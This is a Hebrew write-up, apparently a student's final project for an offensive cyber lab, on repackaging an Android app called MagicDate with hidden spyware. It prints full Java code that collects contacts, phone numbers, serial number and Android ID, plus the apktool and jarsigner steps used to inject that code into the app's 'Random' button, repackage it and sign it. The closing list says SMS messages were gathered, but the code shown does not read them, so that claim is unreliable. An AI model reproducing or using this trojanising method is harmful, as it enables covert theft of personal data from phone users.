# מטלת גמר – מעבדת סייבר התקפה

על מנת להוסיף את התוכן הזדוני שלי לאפליקציה קודם כתבתי את התוכן הזדוני ב-Java על מנת שאוכל להימנע מכתיבת הקוד הזדוני ב-smali.

לאחר שכתבתי את הקוד הזדוני הבא:

```
class attackActivity extends Activity implements View.OnClickListener
{

    @Override
    public void onClick(View view) {
        attack();
    }
    private void attack(){
        String os = System.getProperty("os.name");
        os = "Os: " + os + "\n";
        updateInformation(os);

        getContactList();
        getSystemData();
    }

    private void getSystemData(){
        String data="Device info:\n";
        data+= "\tSDK: "+Build.VERSION.SDK_INT+"\n";
        data+= "\tBrand: "+Build.BRAND+"\n";
        data+= "\tFingerprint: "+Build.FINGERPRINT+"\n";
        data+= "\tHost: "+Build.HOST+"\n";
        data+= "\tID: "+Build.ID+"\n";
        data+= "\tModel: "+Build.MODEL+"\n";
        data+= "\tSerial: "+Build.SERIAL+"\n";
        data+= "\tUser: "+Build.USER+"\n";
        data+= "\tType: "+Build.TYPE+"\n";
        data+= "\tManufacturer: "+Build.HOST+"\n";
        data+= "\t"+Build.HOST+"\n";
        data+= "\tAndroid ID: "+
Settings.Secure.getString(getApplicationContext().getContentResolver(
),Settings.Secure.ANDROID_ID);
        updateInformation(data);
    }

    private void updateInformation(String message){
        try {
            OutputStreamWriter outputStreamWriter=new
OutputStreamWriter(this.openFileOutput("information.txt",this.MODE_AP
PEND));
            outputStreamWriter.write(message);
            outputStreamWriter.close();
        }catch (IOException e){
            e.printStackTrace();
        }
    }

    @SuppressLint("Range")
    private void getContactList() {
        ContentResolver cr = getContentResolver();
```

```
        Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI,
null, null, null, null);
        String contacts="Contacts:\n";
        if ((cur != null ? cur.getCount() : 0) > 0) {
            while (cur != null && cur.moveToNext()) {
                String id =
cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
                String name =
cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NA
ME));
                if (cur.getInt(cur.getColumnIndex(
                        ContactsContract.Contacts.HAS_PHONE_NUMBER))
> 0) {
                    Cursor pCur =
cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new
String[]{id}, null);
                    while (pCur.moveToNext()) {
                        String phoneNo =
pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.P
hone.NUMBER));
                        String contact="Name: "+name+"\n\tPhone
Number: "+phoneNo+"\n";
                        contacts+="\t"+contact;
                    }
                    pCur.close();
                }
            }
        }
        if(cur!=null){
            cur.close();
        }
        updateInformation(contacts);
    }

}
```

השתמשתי בכלי apktool על מנת לבצע לו decompilation ולחלץ את הקוד הזדוני מהחבילה אשר כתוב כעת ב-smali.

```
C:\Windows\System32\cmd.exe
Microsoft Windows [Version 10.0.22000.493]
(c) Microsoft Corporation. All rights reserved.

[redacted] apktool d app-debug.apk
I: Using Apktool 2.6.0 on app-debug.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: [redacted]
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
```

לאחר מכן השתמשתי בכלי apktool גם על אפליקציית הבסיס שניתנה לנו, והוספתי במקום המתאים את המתודות הזדוניות שכתבתי:

```
attack()
getSystemData()
updateInformation(String message)
getContactList()
```

לאחר מכן שיניתי בכל מקום בו היה שימוש ב-class המקורי של הקוד הזדוני שלי:

```
Lcom/example/attackactivity/attackActivity
```

למחלקה של אפליקציית הבסיס:

```
Lcom/MagicDate/MagicDate
```

כעת כל שנותר הוא להוסיף את הקריאה לפונקציה attack() אשר קוראת לכל שאר הפונקציות הזדוניות שכתבתי, עשיתי זאת ע"י הוספה של שורה הקוראת למתודה attack() בתוך המתודה onClick(), כלומר לאחר לחיצה על הכפתור "Random" תתבצע הפעלה של המתודה הזדונית – **כמו שהתבקשנו במטלה:**

```
.line 137
.end local v0     # "tmpAnzahl":Ljava/lang/String;
:pswitch_1
invoke-direct {p0}, Lcom/MagicDate/MagicDate;->attack()V
invoke-direct {p0}, Lcom/MagicDate/MagicDate;->getRandom()V
```

לבסוף כל שנותר היה לבצע repackaging, שוב ע"י הכלי apktool <u>עם הדגל b</u>.

```
[redacted] apktool b magicDate
I: Using Apktool 2.6.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
```

ולחתום את האפליקציה עם המפתח שיצרתי דרך android studio:

```
[redacted] jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore keystore.jks magicDate.apk keystore
Enter Passphrase for keystore:
   adding: META-INF/MANIFEST.MF
   adding: META-INF/KEYSTORE.SF
   adding: META-INF/KEYSTORE.RSA
  signing: AndroidManifest.xml
  signing: classes.dex
  signing: res/drawable/background.png
  signing: res/drawable/cloud.png
  signing: res/drawable/icon.png
  signing: res/drawable/ic_menu_help.png
  signing: res/drawable/star.png
  signing: res/layout/main.xml
  signing: res/menu/menu.xml
  signing: resources.arsc

>>> Signer
    X.509, CN=erel erel
    [trusted certificate]

jar signed.

Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
```

וזהו!

על מנת לבצע את המתקפה גררתי את קובץ ה-apk לתוך האימולטור, הרצתי את האפליקציה וללחוץ על הכפתור random. לאחר מכן נוצר הקובץ Information.txt אשר מכיל:

- אנשי קשר.
- אס-אמ-אסים.
- SDK
- OS
- Username
- מס"ד של המכשיר.

**ועוד!**

*** ניתן לראות את ביצוע ההרצה בקובץ הוידאו ActivityVideo המצורף ל-repo.